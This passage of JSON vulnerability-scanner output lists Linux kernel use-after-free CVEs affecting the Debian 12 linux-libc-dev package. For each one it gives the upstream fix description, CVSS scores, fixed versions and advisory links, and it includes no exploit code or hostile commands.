"https://ubuntu.com/security/notices/USN-8266-1", "https://ubuntu.com/security/notices/USN-8267-1", "https://ubuntu.com/security/notices/USN-8273-1", "https://ubuntu.com/security/notices/USN-8275-1", "https://ubuntu.com/security/notices/USN-8297-1", "https://ubuntu.com/security/notices/USN-8391-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://www.cve.org/CVERecord?id=CVE-2026-23209" ], "PublishedDate": "2026-02-14T17:15:58.803Z", "LastModifiedDate": "2026-10-19T19:17:41.92Z" }, { "VulnerabilityID": "CVE-2026-23216", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23216", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bc3703897c0aeabf4e23108c155134032a29ec306183777f7573b254377d1ccb", "Title": "kernel: scsi: target: iscsi: Fix use-after-free in iscsit_dec_conn_usage_count()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: iscsi: Fix use-after-free in iscsit_dec_conn_usage_count()\n\nIn iscsit_dec_conn_usage_count(), the function calls complete() while\nholding the conn-\u003econn_usage_lock. As soon as complete() is invoked, the\nwaiter (such as iscsit_close_connection()) may wake up and proceed to free\nthe iscsit_conn structure.\n\nIf the waiter frees the memory before the current thread reaches\nspin_unlock_bh(), it results in a KASAN slab-use-after-free as the function\nattempts to release a lock within the already-freed connection structure.\n\nFix this by releasing the spinlock before calling complete().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 4 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/security/cve/CVE-2026-23216", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/9411a89e9e7135cc459178fa77a3f1d6191ae903%20%286.19-rc7%29", "https://git.kernel.org/stable/c/275016a551ba1a068a3bd6171b18611726b67110", "https://git.kernel.org/stable/c/3835e49e146a4e6e7787b29465f1a23379b6ec44", "https://git.kernel.org/stable/c/48fe983e92de2c59d143fe38362ad17ba23ec7f3", "https://git.kernel.org/stable/c/73b487d44bf4f92942629d578381f89c326ff77f", "https://git.kernel.org/stable/c/8518f072fc92921418cd9ed4268dd4f3e9a8fd75", "https://git.kernel.org/stable/c/9411a89e9e7135cc459178fa77a3f1d6191ae903", "https://git.kernel.org/stable/c/ba684191437380a07b27666eb4e72748be1ea201", "https://linux.oracle.com/cve/CVE-2026-23216.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026021800-CVE-2026-23216-6c63@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23216", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8296-1", "https://ubuntu.com/security/notices/USN-8296-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://www.cve.org/CVERecord?id=CVE-2026-23216" ], "PublishedDate": "2026-02-18T15:18:42.957Z", "LastModifiedDate": "2026-10-19T19:17:42.423Z" }, { "VulnerabilityID": "CVE-2026-23221", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f6dc747bde07fd8be1f7b9d03cb1305f15336fa8afafbe630127debdab0f7cd0", "Title": "kernel: bus: fsl-mc: fix use-after-free in driver_override_show()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbus: fsl-mc: fix use-after-free in driver_override_show()\n\nThe driver_override_show() function reads the driver_override string\nwithout holding the device_lock. However, driver_override_store() uses\ndriver_set_override(), which modifies and frees the string while holding\nthe device_lock.\n\nThis can result in a concurrent use-after-free if the string is freed\nby the store function while being read by the show function.\n\nFix this by holding the device_lock around the read operation.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 3, "cbl-mariner": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23221", "https://git.kernel.org/stable/c/148891e95014b5dc5878acefa57f1940c281c431", "https://git.kernel.org/stable/c/1d6bd6183e723a7b256ff34bbb5b498b5f4f2ec0", "https://git.kernel.org/stable/c/a2ae33e1c6361e960a4d00f7cf75d880b54f9528", "https://git.kernel.org/stable/c/b1983840287303e0dfb401b1b6cecc5ea7471e90", "https://git.kernel.org/stable/c/c424e72cfa67e7e1477035058a8a659f2c0ea637", "https://git.kernel.org/stable/c/c71dfb7833db7af652ee8f65011f14c97c47405d", "https://git.kernel.org/stable/c/dd8ba8c0c3f3916d4ee1e3a09da9cd5caff5d227", "https://linux.oracle.com/cve/CVE-2026-23221.html", "https://linux.oracle.com/errata/ELSA-2026-50160.html", "https://lore.kernel.org/linux-cve-announce/2026021806-CVE-2026-23221-43ae@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23221", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23221" ], "PublishedDate": "2026-02-18T16:22:31.82Z", "LastModifiedDate": "2026-06-17T10:21:07.717Z" }, { "VulnerabilityID": "CVE-2026-23226", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23226", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d9e19f01524a849ddcf41a33393dfd49b5d8acc320e3c2e658df5c8464ba7ee0", "Title": "kernel: Linux kernel (ksmbd): Arbitrary code execution due to use-after-free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: add chann_lock to protect ksmbd_chann_list xarray\n\nksmbd_chann_list xarray lacks synchronization, allowing use-after-free in\nmulti-channel sessions (between lookup_chann_list() and ksmbd_chann_del).\n\nAdds rw_semaphore chann_lock to struct ksmbd_session and protects\nall xa_load/xa_store/xa_erase accesses.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23226", "https://git.kernel.org/stable/c/36ef605c0395b94b826a8c8d6f2697071173de6e", "https://git.kernel.org/stable/c/43ad494ac6e940a8eabf25d5bd77bb3bb53b1153", "https://git.kernel.org/stable/c/4c2ca31608521895dd742a43beca4b4d29762345", "https://git.kernel.org/stable/c/4f3a06cc57976cafa8c6f716646be6c79a99e485", "https://git.kernel.org/stable/c/c00f3938f7ac52770907768e440cf253af9cbb63", "https://git.kernel.org/stable/c/e4a8a96a93d08570e0405cfd989a8a07e5b6ff33", "https://lore.kernel.org/linux-cve-announce/2026021807-CVE-2026-23226-438c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23226", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23226" ], "PublishedDate": "2026-02-18T16:22:32.363Z", "LastModifiedDate": "2026-10-30T13:18:34.93Z" }, { "VulnerabilityID": "CVE-2026-23227", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23227", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9c0e8e685c095440002a0d275610662663a9665b4b0cf195f789e7f4544b14fa", "Title": "kernel: Linux kernel Exynos Vidi driver: Local privilege escalation via use-after-free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/exynos: vidi: use ctx-\u003elock to protect struct vidi_context member variables related to memory alloc/free\n\nExynos Virtual Display driver performs memory alloc/free operations\nwithout lock protection, which easily causes concurrency problem.\n\nFor example, use-after-free can occur in race scenario like this:\n```\n\tCPU0\t\t\t\tCPU1\t\t\t\tCPU2\n\t----\t\t\t\t----\t\t\t\t----\n vidi_connection_ioctl()\n if (vidi-\u003econnection) // true\n drm_edid = drm_edid_alloc(); // alloc drm_edid\n ...\n ctx-\u003eraw_edid = drm_edid;\n ...\n\t\t\t\t\t\t\t\tdrm_mode_getconnector()\n\t\t\t\t\t\t\t\t drm_helper_probe_single_connector_modes()\n\t\t\t\t\t\t\t\t vidi_get_modes()\n\t\t\t\t\t\t\t\t if (ctx-\u003eraw_edid) // true\n\t\t\t\t\t\t\t\t drm_edid_dup(ctx-\u003eraw_edid);\n\t\t\t\t\t\t\t\t if (!drm_edid) // false\n\t\t\t\t\t\t\t\t ...\n\t\t\t\tvidi_connection_ioctl()\n\t\t\t\t if (vidi-\u003econnection) // false\n\t\t\t\t drm_edid_free(ctx-\u003eraw_edid); // free drm_edid\n\t\t\t\t ...\n\t\t\t\t\t\t\t\t drm_edid_alloc(drm_edid-\u003eedid)\n\t\t\t\t\t\t\t\t kmemdup(edid); // UAF!!\n\t\t\t\t\t\t\t\t ...\n```\n\nTo prevent these vulns, at least in vidi_context, member variables related\nto memory alloc/free should be protected with ctx-\u003elock.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23227", "https://git.kernel.org/stable/c/0cd2c155740dbd00868ac5a8ae5d14cd6b9ed385", "https://git.kernel.org/stable/c/1b24d3e8792bcc050c70e8e0dea6b49c4fc63b13", "https://git.kernel.org/stable/c/52b330799e2d6f825ae2bb74662ec1b10eb954bb", "https://git.kernel.org/stable/c/56966a4cfa925ec24edb68ab652a740a7abe2c4d", "https://git.kernel.org/stable/c/60b75407c172e1f341a8a5097c5cbc97dbbdd893", "https://git.kernel.org/stable/c/92dd1f38d7db75374dcdaf54f1d79d67bffd54e5", "https://git.kernel.org/stable/c/9e1ef9396a1899925911b1729cb65665420268df", "https://git.kernel.org/stable/c/abfdf449fb3d7b42e85a1ad1c8694b768b1582f4", "https://lore.kernel.org/linux-cve-announce/2026021807-CVE-2026-23227-6986@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23227", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23227" ], "PublishedDate": "2026-02-18T16:22:32.467Z", "LastModifiedDate": "2026-06-17T10:21:08.403Z" }, { "VulnerabilityID": "CVE-2026-23231", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23231", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f7485903ce09f10f5713f827034793a40ed9fda093dfd463347e9ce3e2aa814c", "Title": "kernel: kernel: Privilege escalation or denial of service via use-after-free in nf_tables_addchain()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: fix use-after-free in nf_tables_addchain()\n\nnf_tables_addchain() publishes the chain to table-\u003echains via\nlist_add_tail_rcu() (in nft_chain_add()) before registering hooks.\nIf nf_tables_register_hook() then fails, the error path calls\nnft_chain_del() (list_del_rcu()) followed by nf_tables_chain_destroy()\nwith no RCU grace period in between.\n\nThis creates two use-after-free conditions:\n\n 1) Control-plane: nf_tables_dump_chains() traverses table-\u003echains\n under rcu_read_lock(). A concurrent dump can still be walking\n the chain when the error path frees it.\n\n 2) Packet path: for NFPROTO_INET, nf_register_net_hook() briefly\n installs the IPv4 hook before IPv6 registration fails. Packets\n entering nft_do_chain() via the transient IPv4 hook can still be\n dereferencing chain-\u003eblob_gen_X when the error path frees the\n chain.\n\nAdd synchronize_rcu() between nft_chain_del() and the chain destroy\nso that all RCU readers -- both dump threads and in-flight packet\nevaluation -- have finished before the chain is freed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:6570", "https://access.redhat.com/security/cve/CVE-2026-23231", "https://bugzilla.redhat.com/2376101", "https://bugzilla.redhat.com/2439687", "https://bugzilla.redhat.com/2439895", "https://bugzilla.redhat.com/2444376", "https://bugzilla.redhat.com/show_bug.cgi?id=2376101", "https://bugzilla.redhat.com/show_bug.cgi?id=2439687", "https://bugzilla.redhat.com/show_bug.cgi?id=2439895", "https://bugzilla.redhat.com/show_bug.cgi?id=2444376", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38109", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23210", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23231", "https://errata.almalinux.org/9/ALSA-2026-6570.html", "https://errata.rockylinux.org/RLSA-2026:6570", "https://git.kernel.org/linus/71e99ee20fc3f662555118cf1159443250647533%20%287.0-rc1%29", "https://git.kernel.org/stable/c/2a6586ecfa4ce1413daaafee250d2590e05f1a33", "https://git.kernel.org/stable/c/2f9a4ffeb763aec822f8ff3d1e82202d27d46d4b", "https://git.kernel.org/stable/c/7017745068a9068904e1e7a1b170a5785647cc81", "https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533", "https://git.kernel.org/stable/c/dbd0af8083dd201f07c49110b2ee93710abdff28", "https://git.kernel.org/stable/c/f3fe58ce37926a10115ede527d59b91bcc05400a", "https://linux.oracle.com/cve/CVE-2026-23231.html", "https://linux.oracle.com/errata/ELSA-2026-6571.html", "https://lore.kernel.org/linux-cve-announce/2026030436-CVE-2026-23231-1a96@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23231", "https://ubuntu.com/security/notices/USN-8244-1", "https://ubuntu.com/security/notices/USN-8245-1", "https://ubuntu.com/security/notices/USN-8254-1", "https://ubuntu.com/security/notices/USN-8254-2", "https://ubuntu.com/security/notices/USN-8254-3", "https://ubuntu.com/security/notices/USN-8257-1", "https://ubuntu.com/security/notices/USN-8258-1", "https://ubuntu.com/security/notices/USN-8260-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://www.cve.org/CVERecord?id=CVE-2026-23231" ], "PublishedDate": "2026-03-04T13:15:58.137Z", "LastModifiedDate": "2026-10-19T19:17:42.763Z" }, { "VulnerabilityID": "CVE-2026-23234", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23234", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5d7b05983fe49e20271e2e1405a7cfb5b26f5073767af07e0abfff9620acf22e", "Title": "kernel: f2fs: fix to avoid UAF in f2fs_write_end_io()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to avoid UAF in f2fs_write_end_io()\n\nAs syzbot reported an use-after-free issue in f2fs_write_end_io().\n\nIt is caused by below race condition:\n\nloop device\t\t\t\tumount\n- worker_thread\n - loop_process_work\n - do_req_filebacked\n - lo_rw_aio\n - lo_rw_aio_complete\n - blk_mq_end_request\n - blk_update_request\n - f2fs_write_end_io\n - dec_page_count\n - folio_end_writeback\n\t\t\t\t\t- kill_f2fs_super\n\t\t\t\t\t - kill_block_super\n\t\t\t\t\t - f2fs_put_super\n\t\t\t\t\t : free(sbi)\n : get_pages(, F2FS_WB_CP_DATA)\n accessed sbi which is freed\n\nIn kill_f2fs_super(), we will drop all page caches of f2fs inodes before\ncall free(sbi), it guarantee that all folios should end its writeback, so\nit should be safe to access sbi before last folio_end_writeback().\n\nLet's relocate ckpt thread wakeup flow before folio_end_writeback() to\nresolve this issue.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23234", "https://git.kernel.org/linus/ce2739e482bce8d2c014d76c4531c877f382aa54%20%287.0-rc1%29", "https://git.kernel.org/stable/c/0fb58aff0dafd6837cc91f4154f3ed6e020358fa", "https://git.kernel.org/stable/c/2f67ff1e15a8a4d0e4ffc6564ab20d03d7398fe9", "https://git.kernel.org/stable/c/505e1c0530db6152cab3feef8e3e4da3d3e358c9", "https://git.kernel.org/stable/c/995030be4ce6338c6ff814583c14166446a64008", "https://git.kernel.org/stable/c/a42f99be8a16b32a0bb91bb6dda212a6ad61be5d", "https://git.kernel.org/stable/c/acc2c97fc0005846e5cf11b5ba3189fef130c9b3", "https://git.kernel.org/stable/c/ce2739e482bce8d2c014d76c4531c877f382aa54", "https://git.kernel.org/stable/c/cf4a9e1bc8129eb63fda5f8bdcd8d87f0bd76f42", "https://linux.oracle.com/cve/CVE-2026-23234.html", "https://linux.oracle.com/errata/ELSA-2026-50160.html", "https://lore.kernel.org/linux-cve-announce/2026030439-CVE-2026-23234-5cef@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23234", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23234" ], "PublishedDate": "2026-03-04T15:16:13.79Z", "LastModifiedDate": "2026-06-17T10:21:09.317Z" }, { "VulnerabilityID": "CVE-2026-23235", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": 